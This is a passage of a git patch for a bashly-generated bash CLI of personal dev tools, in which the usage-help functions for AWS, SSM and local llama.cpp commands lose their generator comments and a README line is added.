From 27c626cf8cdbdfd1d07ec57dd652683ab2ebaab7 Mon Sep 17 00:00:00 2001 From: Alex Clarke Date: Mon, 24 Nov 2025 15:40:11 -0700 Subject: [PATCH] Built the script in production mode --- README.md | 2 + dtools | 4764 +++++--------------------------- settings.yml | 4 +- src/{bashly.yml => dtools.yml} | 0 4 files changed, 678 insertions(+), 4092 deletions(-) rename src/{bashly.yml => dtools.yml} (100%) diff --git a/README.md b/README.md index f190c0d..9966d08 100644 --- a/README.md +++ b/README.md @@ -33,6 +33,8 @@ git clone git@github.com:Dark-Alex-17/devtools.git ~/.local/share/devtools && pu This will install the repo to `~/.local/share/devtools` and run the `make install` command to build and install the script to your local bin directory (usually `~/.local/bin`). +Just run `dtools --help` to get started! + --- ## Features diff --git a/dtools b/dtools index 3157267..b987477 100755 --- a/dtools +++ b/dtools @@ -2,20 +2,15 @@ # This script was generated by bashly 1.3.4 (https://bashly.dev) # Modifying it manually is not recommended -# :wrapper.bash3_bouncer if ((BASH_VERSINFO[0] < 4 || (BASH_VERSINFO[0] == 4 && BASH_VERSINFO[1] < 2))); then printf "bash version 4.2 or higher is required\n" >&2 exit 1 fi -# :command.master_script - -# :command.version_command version_command() { echo "$version" } -# :command.usage dtools_usage() { printf "dtools - A CLI tool to manage all personal dev tools\n\n" @@ -24,7 +19,7 @@ dtools_usage() { printf " dtools [COMMAND] --help | -h\n" printf " dtools --version | -v\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Update the dtools CLI to the latest version\n" "$(green "update") " printf " %s Starts a simple server using netcat\n" "$(green "start-simple-server") " @@ -181,12 +176,10 @@ dtools_usage() { printf " %s Create a backup of a file or directory. By default, this will create a copy of the specified file or directory in the same source directory.\n" "$(green "backup") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -197,7 +190,6 @@ dtools_usage() { fi } -# :command.usage dtools_completions_usage() { if [[ -n $long_usage ]]; then printf "dtools completions\n\n" @@ -211,12 +203,10 @@ dtools_completions_usage() { printf " dtools completions --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -224,7 +214,6 @@ dtools_completions_usage() { fi } -# :command.usage dtools_update_usage() { printf "dtools update - Update the dtools CLI to the latest version\n\n" @@ -233,12 +222,10 @@ dtools_update_usage() { printf " dtools update --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -246,7 +233,6 @@ dtools_update_usage() { fi } -# :command.usage dtools_ai_usage() { printf "dtools ai - AI commands\n\n" @@ -254,7 +240,7 @@ dtools_ai_usage() { printf " dtools ai COMMAND\n" printf " dtools ai [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Chat with a model running on your local machine via llama.cpp\n" "$(green "chat") " printf " %s Start a llama.cpp server\n" "$(green "start-llama-server") " @@ -262,12 +248,10 @@ dtools_ai_usage() { printf " %s Open the Llama API documentation in a browser\n" "$(green "open-llama-api-docs")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -275,7 +259,6 @@ dtools_ai_usage() { fi } -# :command.usage dtools_ai_chat_usage() { printf "dtools ai chat - Chat with a model running on your local machine via llama.cpp\n\n" @@ -284,25 +267,20 @@ dtools_ai_chat_usage() { printf " dtools ai chat --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--hf-repo, -r HF_REPO")" printf " The Hugging Face repository to use\n" printf " %s\n" "Default: microsoft/Phi-3-mini-4k-instruct-gguf" echo - # :flag.usage printf " %s\n" "$(magenta "--hf-file, -f HF_FILE")" printf " The Hugging Face model GGUF file to use\n" printf " %s\n" "Default: Phi-3-mini-4k-instruct-q4.gguf" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -310,7 +288,6 @@ dtools_ai_chat_usage() { fi } -# :command.usage dtools_ai_start_llama_server_usage() { printf "dtools ai start-llama-server - Start a llama.cpp server\n\n" @@ -319,25 +296,20 @@ dtools_ai_start_llama_server_usage() { printf " dtools ai start-llama-server --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--hf-repo, -r HF_REPO")" printf " The Hugging Face repository to use\n" printf " %s\n" "Default: microsoft/Phi-3-mini-4k-instruct-gguf" echo - # :flag.usage printf " %s\n" "$(magenta "--hf-file, -f HF_FILE")" printf " The Hugging Face model GGUF file to use\n" printf " %s\n" "Default: Phi-3-mini-4k-instruct-q4.gguf" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -345,7 +317,6 @@ dtools_ai_start_llama_server_usage() { fi } -# :command.usage dtools_ai_open_llama_ui_usage() { printf "dtools ai open-llama-ui - Open the llama.cpp UI in a browser\n\n" @@ -354,12 +325,10 @@ dtools_ai_open_llama_ui_usage() { printf " dtools ai open-llama-ui --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -367,7 +336,6 @@ dtools_ai_open_llama_ui_usage() { fi } -# :command.usage dtools_ai_open_llama_api_docs_usage() { printf "dtools ai open-llama-api-docs - Open the Llama API documentation in a browser\n\n" @@ -376,12 +344,10 @@ dtools_ai_open_llama_api_docs_usage() { printf " dtools ai open-llama-api-docs --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -389,7 +355,6 @@ dtools_ai_open_llama_api_docs_usage() { fi } -# :command.usage dtools_aws_usage() { printf "dtools aws - AWS commands\n\n" @@ -397,7 +362,7 @@ dtools_aws_usage() { printf " dtools aws COMMAND\n" printf " dtools aws [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Log in to AWS using SSO. \n" "$(green "login") " printf " %s Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n" "$(green "console") " @@ -440,12 +405,10 @@ dtools_aws_usage() { printf " %s Fetch the connection details for the given RDS DB instance\n" "$(green "rds fetch-db-connection-details") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -453,7 +416,6 @@ dtools_aws_usage() { fi } -# :command.usage dtools_aws_login_usage() { if [[ -n $long_usage ]]; then printf "dtools aws login\n\n" @@ -467,30 +429,24 @@ dtools_aws_login_usage() { printf " dtools aws login --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws login -p prod -r us-east-1\n" printf " # When the 'AWS_PROFILE' and 'AWS_REGION' environment variables are already\n # set\n dtools aws login\n" @@ -499,7 +455,6 @@ dtools_aws_login_usage() { fi } -# :command.usage dtools_aws_console_usage() { printf "dtools aws console - Open the AWS console in your default browser using the current AWS_REGION and AWS_PROFILE\n\n" @@ -508,30 +463,24 @@ dtools_aws_console_usage() { printf " dtools aws console --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--service, -s SERVICE")" printf " The AWS service to open the console to\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -539,7 +488,6 @@ dtools_aws_console_usage() { fi } -# :command.usage dtools_aws_shell_usage() { printf "dtools aws shell - Drop into an interactive AWS CLI shell with auto-completion\n\n" @@ -548,12 +496,10 @@ dtools_aws_shell_usage() { printf " dtools aws shell --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -561,7 +507,6 @@ dtools_aws_shell_usage() { fi } -# :command.usage dtools_aws_profile_usage() { printf "dtools aws profile - Change AWS profile\n\n" @@ -570,25 +515,20 @@ dtools_aws_profile_usage() { printf " dtools aws profile --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PROFILE")" printf " The AWS profile to use, corresponding profiles in your ~/.aws/config\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws profile prod\n" echo @@ -596,7 +536,6 @@ dtools_aws_profile_usage() { fi } -# :command.usage dtools_aws_region_usage() { printf "dtools aws region - Change AWS region\n\n" @@ -605,26 +544,21 @@ dtools_aws_region_usage() { printf " dtools aws region --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws region us-east-1\n" echo @@ -632,7 +566,6 @@ dtools_aws_region_usage() { fi } -# :command.usage dtools_aws_toggle_auto_prompt_usage() { printf "dtools aws toggle-auto-prompt - Toggle the AWS CLI auto prompt\n\n" @@ -641,12 +574,10 @@ dtools_aws_toggle_auto_prompt_usage() { printf " dtools aws toggle-auto-prompt --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -654,7 +585,6 @@ dtools_aws_toggle_auto_prompt_usage() { fi } -# :command.usage dtools_aws_export_sso_creds_usage() { if [[ -n $long_usage ]]; then printf "dtools aws export-sso-creds\n\n" @@ -668,25 +598,20 @@ dtools_aws_export_sso_creds_usage() { printf " dtools aws export-sso-creds --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -694,7 +619,6 @@ dtools_aws_export_sso_creds_usage() { fi } -# :command.usage dtools_aws_generate_sso_profiles_usage() { if [[ -n $long_usage ]]; then printf "dtools aws generate-sso-profiles\n\n" @@ -708,40 +632,32 @@ dtools_aws_generate_sso_profiles_usage() { printf " dtools aws generate-sso-profiles --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--backup")" printf " Create a backup of the previous AWS config\n" echo - # :flag.usage printf " %s\n" "$(magenta "--default-cli-region, -d DEFAULT-CLI-REGION")" printf " The default CLI region for each profile.\n Defaults to using the same region as the provided SSO region\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" echo - # :flag.usage printf " %s\n" "$(magenta "--sso-region, -r SSO-REGION (required)")" printf " The region for SSO accounts\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" echo - # :flag.usage printf " %s\n" "$(magenta "--sso-start-url, -u SSO-START-URL (required)")" printf " The start URL for SSO authentication\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws generate-sso-profiles -u https://d-123456789ab.awsapps.com/start -r\n us-east-1\n" echo @@ -749,7 +665,6 @@ dtools_aws_generate_sso_profiles_usage() { fi } -# :command.usage dtools_aws_ec2_usage() { printf "dtools aws ec2 - EC2 commands\n\n" @@ -757,17 +672,15 @@ dtools_aws_ec2_usage() { printf " dtools aws ec2 COMMAND\n" printf " dtools aws ec2 [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s List all EC2 instances in the account\n" "$(green "list-instances")" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -775,7 +688,6 @@ dtools_aws_ec2_usage() { fi } -# :command.usage dtools_aws_ec2_list_instances_usage() { printf "dtools aws ec2 list-instances - List all EC2 instances in the account\n\n" @@ -784,38 +696,31 @@ dtools_aws_ec2_list_instances_usage() { printf " dtools aws ec2 list-instances --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all instances in the full detailed format\n" printf " %s\n" "Conflicts: --filter" echo - # :flag.usage printf " %s\n" "$(magenta "--filter, -f FILTER (repeatable)")" printf " Filter the output to only show the specified information\n" printf " %s\n" "Allowed: instance-id, instance-type, private-dns-name, private-ip-address, public-dns-name, subnet-id, vpc-id, tags, launch-time, availability-zone, state, architecture, instance-profile, security-groups, os" printf " %s\n" "Conflicts: --detailed" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -823,7 +728,6 @@ dtools_aws_ec2_list_instances_usage() { fi } -# :command.usage dtools_aws_ssm_usage() { printf "dtools aws ssm - SSM commands\n\n" @@ -831,7 +735,7 @@ dtools_aws_ssm_usage() { printf " dtools aws ssm COMMAND\n" printf " dtools aws ssm [COMMAND] --help | -h\n" echo - # :command.usage_commands + printf "%s\n" "$(bold "Commands:")" printf " %s Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n" "$(green "start-port-forwarding") " printf " %s Start an EC2 instance to act as a bastion host for ngrok\n" "$(green "start-ngrok-bastion-instance")" @@ -842,12 +746,10 @@ dtools_aws_ssm_usage() { printf " %s Delete a parameter from AWS SSM Parameter Store\n" "$(green "delete-parameter") " echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -855,7 +757,6 @@ dtools_aws_ssm_usage() { fi } -# :command.usage dtools_aws_ssm_start_port_forwarding_usage() { printf "dtools aws ssm start-port-forwarding - Use SSM to connect to an EC2 instance and forward a local port to the remote machine\n\n" @@ -864,56 +765,45 @@ dtools_aws_ssm_start_port_forwarding_usage() { printf " dtools aws ssm start-port-forwarding --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--remote-port REMOTE-PORT")" printf " The port number of the server on the EC2 instance\n" printf " %s\n" "Default: 80" echo - # :flag.usage printf " %s\n" "$(magenta "--local-port LOCAL-PORT")" printf " The port number on the local machine to forward traffic to. An open port is\n chosen at run-time if not provided.\n" printf " %s\n" "Default: 0" echo - # :flag.usage printf " %s\n" "$(magenta "--host HOST")" printf " Hostname or IP address of the destination server\n" printf " %s\n" "Default: localhost" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "INSTANCE-ID")" printf " The ID of the EC2 instance to connect to\n" echo - # :command.usage_examples printf "%s\n" "$(bold "Examples:")" printf " dtools aws start-port-forwarding i-0892eeaed80a5b00b --remote-port 5432\n --local-port 5432 --host\n prod-postgres.ctm8i4qgknv3.us-east-1.rds.amazonaws.com --profile prod --region\n us-east-1\n" echo @@ -921,7 +811,6 @@ dtools_aws_ssm_start_port_forwarding_usage() { fi } -# :command.usage dtools_aws_ssm_start_ngrok_bastion_instance_usage() { printf "dtools aws ssm start-ngrok-bastion-instance - Start an EC2 instance to act as a bastion host for ngrok\n\n" @@ -930,51 +819,41 @@ dtools_aws_ssm_start_ngrok_bastion_instance_usage() { printf " dtools aws ssm start-ngrok-bastion-instance --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--hostname (required)")" printf " The hostname to forward connections to. \n This will be hostnames like the ones that are only accessible via AWS ECS\n Service Discovery (e.g. api.caerus.local)\n" echo - # :flag.usage printf " %s\n" "$(magenta "--subnet-id (required)")" printf " The subnet ID that the instance is to be deployed into\n" echo - # :flag.usage printf " %s\n" "$(magenta "--port PORT")" printf " The port on the destination hostname to forward connections to\n" printf " %s\n" "Default: 8080" echo - # :flag.usage printf " %s\n" "$(magenta "--ngrok-url, -u NGROK_URL (required)")" printf " The ngrok URL to connect to\n" echo - # :flag.usage printf " %s\n" "$(magenta "--ngrok-auth-token, -a NGROK_AUTH_TOKEN (required)")" printf " The ngrok authentication token\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -982,7 +861,6 @@ dtools_aws_ssm_start_ngrok_bastion_instance_usage() { fi } -# :command.usage dtools_aws_ssm_list_parameters_usage() { printf "dtools aws ssm list-parameters - List all AWS SSM Parameter Store parameters\n\n" @@ -991,30 +869,24 @@ dtools_aws_ssm_list_parameters_usage() { printf " dtools aws ssm list-parameters --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the list of all parameters in the detailed format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1022,7 +894,6 @@ dtools_aws_ssm_list_parameters_usage() { fi } -# :command.usage dtools_aws_ssm_get_parameter_usage() { printf "dtools aws ssm get-parameter - Get the value of an AWS SSM Parameter Store parameter\n\n" @@ -1031,38 +902,30 @@ dtools_aws_ssm_get_parameter_usage() { printf " dtools aws ssm get-parameter --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--detailed")" printf " Output the parameter value in detailed format\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo - # :command.usage_args printf "%s\n" "$(bold "Arguments:")" - # :argument.usage printf " %s\n" "$(blue "PARAMETER_NAME")" printf " The name of the parameter to retrieve\n" echo @@ -1070,7 +933,6 @@ dtools_aws_ssm_get_parameter_usage() { fi } -# :command.usage dtools_aws_ssm_create_parameter_usage() { printf "dtools aws ssm create-parameter - Create a new parameter in AWS SSM Parameter Store\n\n" @@ -1079,35 +941,28 @@ dtools_aws_ssm_create_parameter_usage() { printf " dtools aws ssm create-parameter --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--name NAME (required)")" printf " Name for the new parameter\n" echo - # :flag.usage printf " %s\n" "$(magenta "--value VALUE (required)")" printf " The value of the parameter to be stored\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1115,7 +970,6 @@ dtools_aws_ssm_create_parameter_usage() { fi } -# :command.usage dtools_aws_ssm_update_parameter_usage() { printf "dtools aws ssm update-parameter - Update an existing parameter in AWS SSM Parameter Store (Will create a new parameter if it does not exist)\n\n" @@ -1124,35 +978,28 @@ dtools_aws_ssm_update_parameter_usage() { printf " dtools aws ssm update-parameter --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " %s\n" "$(magenta "--profile, -p PROFILE")" printf " The AWS profile to use\n" echo - # :flag.usage printf " %s\n" "$(magenta "--region, -r REGION")" printf " The AWS region to use\n" printf " %s\n" "Allowed: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" printf " %s\n" "Default: us-east-1" echo - # :flag.usage printf " %s\n" "$(magenta "--name NAME (required)")" printf " Name of the parameter to update\n" echo - # :flag.usage printf " %s\n" "$(magenta "--value VALUE (required)")" printf " The value of the parameter to be stored\n" echo - # :command.usage_fixed_flags printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo @@ -1160,7 +1007,6 @@ dtools_aws_ssm_update_parameter_usage() { fi } -# :command.usage dtools_aws_ssm_delete_parameter_usage() { printf "dtools aws ssm delete-parameter - Delete a parameter from AWS SSM Parameter Store\n\n" @@ -1169,33 +1015,26 @@ dtools_aws_ssm_delete_parameter_usage() { printf " dtools aws ssm delete-parameter --help | -h\n" echo - # :command.long_usage if [[ -n "$long_usage" ]]; then - # :command.usage_options + printf "%s\n" "$(bold "Options:")" - # :command.usage_flags - # :flag.usage printf " 